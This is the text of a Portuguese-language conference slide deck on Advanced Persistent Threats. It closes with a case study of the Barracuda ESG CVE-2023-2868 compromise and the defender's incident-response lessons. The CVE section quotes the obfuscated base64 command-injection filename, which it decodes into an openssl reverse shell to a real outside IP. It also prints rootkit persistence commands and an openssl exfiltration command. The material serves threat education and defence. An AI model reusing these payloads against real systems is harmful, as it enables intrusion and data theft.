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WHOAMI
ü Graduado em Engenharia de Computação pelo Instituto Militar de Engenharia (IME)

ü Oficial do Exército Brasileiro – Chefe do CCTIR/EB

ü Cofundador e Instrutor da GoHacking

ü Foi instrutor do SANS Institute

ü Certificações em SegInfo: CISSP, GSE #291, OSCP, OSWP, OSCE, GSP, GX-PT,  GX-CS, GX-IA, GX-IH, GSEC, 
GCED, GCIA, GCIH, GCWN, GCFA, GNFA, GWAPT, GPEN, GPYC, GMOB, GDAT, GAWN, GRID, GREM, GXPN 
(https://www.credly.com/users/laios-barbosa) 

ü Mais de 15 anos de experiência em Administração de Redes/Sistemas e Segurança da Informação

ü Participação ativa nos Grandes Eventos – Gerência e Proteção dos Sistemas de Comando e Controle do 
Ministério da Defesa: Rio +20, Copa das Confederações 2013, Jornada Mundial da Juventude, Copa do Mundo 
2014, Jogos Olímpicos 2016

ü “Um pouco viciado em CTF … J”

ü SANS NetWars Champion (and Champion of Champions)

ü Pai, Marido e Surfista

https://www.credly.com/users/laios-barbosa
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Objetivo

Entender melhor a natureza de um 
Advanced Persistent Threat (APT) e 

compartilhar lições aprendidas no combate 
à esse tipo de ameaça



Introdução
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Segurança da Informação

C I A
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Vulnerabilidades

Vulnerability: A characteristic or specific
weakness that renders an organization or
asset (such as information or an information
system) open to exploitation by a given
threat or susceptible to a given hazard.

https://niccs.cisa.gov/cybersecurity-career-resources/glossary#V

https://niccs.cisa.gov/cybersecurity-career-resources/glossary
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Ameaça

Threat: A circumstance or event that has or
indicates the potential to exploit vulnerabilities
and to adversely impact (create adverse
consequences for) organizational operations,
organizational assets (including information and
information systems), individuals, other
organizations, or society. Includes an individual
or group of individuals, entity such as an
organization or a nation, action, or occurrence.

https://niccs.cisa.gov/cybersecurity-career-resources/glossary#T

https://niccs.cisa.gov/cybersecurity-career-resources/glossary
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Ameaça

https://www.rapid7.com/blog/post/2017/05/15/using-threat-intelligence-to-mitigate-wanna-decryptor-wncry/

https://www.rapid7.com/blog/post/2017/05/15/using-threat-intelligence-to-mitigate-wanna-decryptor-wncry/
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?? APT ??
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APT

Advanced Persistent Threat
“A sophisticated threat actor, often associated with a
nation-state, that has the resources and capabilities
to conduct a sustained cyber campaign against a
target individual or organization. The APT often
spends a lot of time learning about their target before
conducting an intrusion to establish an undetected
presence in the target’s network. This ultimately
enables the APT to surveil the target, steal sensitive
data, or conduct other malicious activity over a
prolonged period of time.”

https://www.cisa.gov/resources-tools/resources/project-upskill-glossary

https://www.cisa.gov/resources-tools/resources/project-upskill-glossary
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Ameaças Tradicionais
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Ameaças Tradicionais



16LAIOS BARBOSA – Advanced Persistent Threat (APT) – Todos os direitos reservados (2024) – [TLP:CLEAR]

APT
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Anti-APT



18LAIOS BARBOSA – Advanced Persistent Threat (APT) – Todos os direitos reservados (2024) – [TLP:CLEAR]

Anti-APT
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Anti-APT
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Anti-APT



Frameworks
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Cyber Kill Chain

https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
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https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
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MITRE ATT&CK

https://attack.mitre.org/

https://attack.mitre.org/
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MITRE ATT&CK

https://attack.mitre.org/

https://attack.mitre.org/
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MITRE ATT&CK

https://attack.mitre.org/groups/

https://attack.mitre.org/groups/
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MITRE ATT&CK

https://apt.etda.or.th/cgi-bin/listgroups.cgi

https://apt.etda.or.th/cgi-bin/listgroups.cgi
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Secureworks

https://www.secureworks.com/blog/advanced-persistent-threats-apt-a

https://www.secureworks.com/blog/advanced-persistent-threats-apt-a
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Mandiant

https://www.mandiant.com/resources/insights/targeted-attack-lifecycle

https://www.mandiant.com/resources/insights/targeted-attack-lifecycle


Tendências
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Tendências

https://www.mandiant.com/m-trends

https://www.mandiant.com/m-trends
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Tendências

Dwell Time: Tempo de permanência do atacante (em dias) na 
rede do alvo, sem ser detectado
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Tendências

https://www.mandiant.com/m-trends

https://www.mandiant.com/m-trends


34LAIOS BARBOSA – Advanced Persistent Threat (APT) – Todos os direitos reservados (2024) – [TLP:CLEAR]

Tendências

https://www.crowdstrike.com/global-threat-report/

https://www.crowdstrike.com/global-threat-report/
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Tendências

Breakout Time: tempo que o atacante leva para começar a se mover lateralmente pela rede do alvo

84 min
62 min
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Tendências

https://www.paloaltonetworks.com/blog/2024/02/unit-42-incident-response-report/

EXFIL
2 DIAS

https://www.paloaltonetworks.com/blog/2024/02/unit-42-incident-response-report/


Alguns casos de APT ...
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STUXNET

https://www.doisniveis.com/machtpolitik/stuxnet/

https://www.doisniveis.com/machtpolitik/stuxnet/
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STUXNET

MS10-046: Execução 
automática de DLLs via 

arquivos malformado .lnk em 
USB drives

MS10-061: Falha de Execução 
Remota de Comando no 
serviço de Print Spooler 

MS10-073: Falha no Windows 
Keyboard Layout permitia 

escalada de privilégio local

MS10-092: Falha no Task
Scheduler permitia escalada 

de privilégio local

0-Day
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SolarWinds

https://attack.mitre.org/campaigns/C0024/

https://attack.mitre.org/campaigns/C0024/
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SolarWinds

https://www.blackhatethicalhacking.com/articles/solarwinds-supply-chain-hack/

https://www.blackhatethicalhacking.com/articles/solarwinds-supply-chain-hack/


CVE-2023-2868



43LAIOS BARBOSA – Advanced Persistent Threat (APT) – Todos os direitos reservados (2024) – [TLP:CLEAR]

CVE-2023-2868

LET’S FUJJJJJ GO !
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CVE-2023-2868

https://www.barracuda.com/

https://www.barracuda.com/
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CVE-2023-2868
• Empresa Barracuda
• Email Security Gateway (ESG)
• Relay de Email (Anti-Spam)
• Equipamento Físico e Virtual
• Sistema Operacional Linux cifrado,
parcialmente, com LUKS

• Amavis – componente de proteção open
source

• Utilizado por diversas organizações do
setor público (governo) e privado

• Grandes clientes pelo mundo
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CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868
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CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868
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CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868
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CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868

https://nvd.nist.gov/vuln/detail/CVE-2023-2868
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CVE-2023-2868

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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CVE-2023-2868

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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CVE-2023-2868

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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CVE-2023-2868

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

+7 meses depois … Dwell Time L

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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CVE-2023-2868

• 0-Day Barracuda ESG

• Início das atividades em Outubro de 2022

• Suspeita de um grupo associado a China (UNC4841)

• Motivações do cenário geopolítico (espionagem)

• Contexto geopolítico: China vs Taiwan

• Campanha se espalhou pelo mundo

• Afetou empresas privadas e organizações de governo

• Envio de e-mails maliciosos ...
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CVE-2023-2868

Arquivo TAR malicioso anexado
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CVE-2023-2868
• O arquivo .tar é analisado pelo amavisd-new, que é escrito Perl
• Para desempacotar o conteúdo, é chamado o comando TAR nativo do

sistema operacional (S.O) Linux
• Perl script vulnerável à injeção de comando ao manipular o .tar
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CVE-2023-2868
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CVE-2023-2868
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CVE-2023-2868
• A função qx() do Perl é utilizada para executar comandos do S.O
• O qx vai executar comando tar utilizando uma variável $f
• A variável $f é o ponto vulnerável para a injeção de comando
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CVE-2023-2868
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CVE-2023-2868
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CVE-2023-2868
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CVE-2023-2868
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CVE-2023-2868
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CVE-2023-2868

Empacota os arquivos TXT em um TAR
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CVE-2023-2868

Verifica quais arquivos estão no TAR
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CVE-2023-2868

Verifica o conteúdo de um arquivo 
armazenado no TAR
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CVE-2023-2868

qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

Ao processar o arquivo TAR ($part), é chamada a função qx do Perl para 
executar uma comando do S.O ($tarexec => /bin/tar) para verificar o 

conteúdo do arquivo ($f) dentro do TAR
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CVE-2023-2868

qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

Ao processar o arquivo TAR ($part), é chamada a função qx do Perl para 
executar uma comando do S.O ($tarexec => /bin/tar) para verificar o 

conteúdo do arquivo ($f) dentro do TAR

tar -O -xf arquivo.tar ''`COMANDO`''
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CVE-2023-2868

qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

Ao processar o arquivo TAR ($part), é chamada a função qx do Perl para 
executar uma comando do S.O ($tarexec => /bin/tar) para verificar o 

conteúdo do arquivo ($f) dentro do TAR

'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4m
MXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIxOS4yMj
c6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3RtcC9wIg==;ee=ba;G=s;"ech"o
$abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'

Nome do arquivo empacotado no TAR
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CVE-2023-2868

'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1w
L3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMD
cuMTQ4LjIxOS4yMjc6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3Rt
cC9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
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CVE-2023-2868

abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL
3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDc
uMTQ4LjIxOS4yMjc6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3Rtc
C9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt
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CVE-2023-2868

abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL
3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDc
uMTQ4LjIxOS4yMjc6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3Rtc
C9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt
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CVE-2023-2868

abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL
3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDc
uMTQ4LjIxOS4yMjc6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3Rtc
C9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt
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CVE-2023-2868

abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL
3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDc
uMTQ4LjIxOS4yMjc6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3Rtc
C9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt
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CVE-2023-2868

abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL
3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDc
uMTQ4LjIxOS4yMjc6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3Rtc
C9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt
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CVE-2023-2868

abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL
3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDc
uMTQ4LjIxOS4yMjc6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3Rtc
C9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt

setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet
-connect 107.148.219.227:443 >/tmp/p 2>/dev/null;rm /tmp/p"
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CVE-2023-2868

setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet
-connect 107.148.219.227:443 >/tmp/p 2>/dev/null;rm /tmp/p"

JJJJ REVERSE SHELL JJJJ

GTFObins
https://gtfobins.github.io/gtfobins/openssl/#reverse-shell

https://gtfobins.github.io/gtfobins/openssl/
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REVERSEL SHELL COM ACESSO PRIVILEGIADO …
SEM INTERAÇÃO DO USUÁRIO …

BASTAVA UM E-MAIL PASSAR PELA CAIXA …
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• Episódio 1: Acesso Inicial

• Episódio 2: Ataque dos Backdoors

ü SEASPY

ü SALTWATER

ü SEASIDE

ü SEASPRAY

ü SKIPJACK

ü SANDBAR (rootkit) BACKDOORS
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https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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• Persistência (reverse shell)
ü /etc/cron.hourly/core.sh

ü /etc/cron.hourly/aacore.sh

ü /etc/cron.hourly/appcheck.sh

ü /etc/cron.daily/core.sh

ü /etc/cron.daily/core_check.sh

• ROOTKIT (SANDBAR)
ü /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko

echo -e '/sbin/BarracudaMailService eth0' >> /etc/init.d/rc

cat /etc/init.d/rc

touch /etc/init.d/rc -r /etc/init.d/reboot

chmod +x /sbin/BarracudaMailService

setsid sh -c "/sbin/BarracudaMailService eth0" &

SEASPY
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sh -c openssl s_client -quiet -connect 107.148.219.227:443 < /mail/tmp/ARQUIVO.tar.gz 2>&1

EXFILTRAÇÃO
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Como o ataque foi
detectado ???
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https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

O Fabricante
notificou os
clientes …

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

APT mudou as TTPs logo 
depois da 1ª correção

https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
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E AGORA ?

QUAL É A SOLUÇÃO ?

Cliente
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VAMOS TROCAR TODAS AS 
CAIXAS “AFETADAS” DE TODOS 

OS CLIENTES NO MUNDO J

Fabricante
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• Tratamento e Resposta ao Incidente

• Receber a notificação da fabricante sobre o estado da caixa. Se afetada, trocar

• Enquanto não se tem uma nova caixa (RMA), utilizar a solução virtual

• Aplicar o patch definitivo na solução virtual (o primeiro não funcionou...)

• Reuniões com revendedor e fabricante para entender a extensão e impacto

• No início, as informações não são claras ...

• Análise mais aprofundada das evidências
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http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

Pyramid
of 

Pain
IoC

http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
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• IoC de Rede

ü Logs do Firewall, IDS/IPS, Flow de Rede

ü Tráfego de Saída (ESG => Internet)

• IoC de Endpoint (Caixa)

ü Acesso ao S.O do equipamento ...

ü Cliente não pode ... Somente o fabricante (???)

ü Podemos remover os discos (imagem forense) ???

§ Tem que verificar se o contrato permite (jurídica)

§ Mais reuniões com o fabricante
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• Final da Jornada

• O novo equipamento chegou (10 dias)

• Análise forense do disco trouxe mais evidências

• Monitoramento mais rigoroso da rede

• Perguntas restantes ...

• Desde quando o APT estava na rede?

• Quais dados foram exfiltrados?

• Estamos livres da ameaça?



Lições Aprendidas
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Lições Aprendidas

ü Ninguém está, de fato, “pronto” para lidar com
um APT.

ü As ameaças cibernéticas estão cada vez mais
avançadas. Cedo ou tarde sua organização será
comprometida.

ü A defesa precisa evoluir de um postura reativa
(focada na prevenção) para uma postura proativa
(detecção e resposta rápida) – threat hunting.



102LAIOS BARBOSA – Advanced Persistent Threat (APT) – Todos os direitos reservados (2024) – [TLP:CLEAR]

Lições Aprendidas

üDefesa em profundidade / camadas.
üAnálise rigorosa de tráfego de saída (output).
üFlow de rede: movimentação lateral.
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Lições Aprendidas

ü Manter um canal de comunicação constante, claro e
transparente com todos os envolvidos (need to know) durante
o incidente.

ü Avaliar a postura de segurança de seus parceiros e
fabricantes (PSIRT).

ü Ficar atento a campanhas pertinentes:

Ø Zimbra CVE-2022-41352

ü E-mail não é o melhor canal para tratar de determinados
assuntos (utilizar PGP).



FIM
! Muito obrigado !
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Contato

• https://www.linkedin.com/in/laiosbarbosa/

• https://twitter.com/laios_barbosa

• https://gohacking.com.br

• https://www.linkedin.com/company/gohacking

• https://www.instagram.com/go.hacking/

• https://www.youtube.com/@go.hacking

https://www.linkedin.com/in/laiosbarbosa/
https://twitter.com/laios_barbosa
https://gohacking.com.br/
https://www.linkedin.com/company/gohacking
https://www.instagram.com/go.hacking/
https://www.youtube.com/@go.hacking

